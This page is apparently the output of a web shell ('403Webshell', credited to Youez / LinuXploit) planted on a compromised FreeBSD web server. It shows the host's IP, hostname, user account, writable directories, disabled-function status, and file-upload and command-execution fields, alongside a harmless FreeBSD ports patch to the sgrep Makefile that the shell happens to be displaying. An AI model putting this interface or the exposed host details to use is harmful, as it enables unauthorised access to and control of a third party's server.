403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/sgrep/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/sgrep/files/patch-Makefile
--- Makefile.orig	1996-05-02 11:58:24 UTC
+++ Makefile
@@ -10,11 +10,11 @@
 #
 
 # This is where the executable goes
-BINDIR = /usr/local/bin/
+BINDIR = ${PREFIX}/bin
 # Where sgrep library files are placed (sgreprc)
-LIBDIR = /usr/local/lib
+LIBDIR = ${PREFIX}/share
 # Where the manual page goes
-MANFILE = /usr/local/man/man1/sgrep.1
+MANFILE = ${PREFIX}/man/man1/sgrep.1
 # Where the sample rc file goes
 RCFILE = $(LIBDIR)/sgreprc
 # If you can't install as root you might wan't to use this as rc file
@@ -25,7 +25,7 @@ VERSION = 0.99
 CFLAGS = -O -DVERSION=\"$(VERSION)\" -DLIBDIR=\"$(LIBDIR)\"
 LDFLAGS =
 # if cc fails to you use gcc
-CC = cc
+#CC = cc
 CPPFLAGS =
 LIBS =
 
@@ -45,11 +45,7 @@ sgrep: $(OBJECTS)
 clean:
 	-rm -f $(OBJECTS)
 
-install: sgrep
-	cp sgrep $(BINDIR)/sgrep
-	chmod 755 $(BINDIR)/sgrep
-	cp sgrep.1 $(MANFILE)
-	chmod 644 $(MANFILE)
+install:
 
 install.rc: sample.sgreprc
 	cp sample.sgreprc $(RCFILE)

Youez - 2016 - github.com/yon3zu
LinuXploit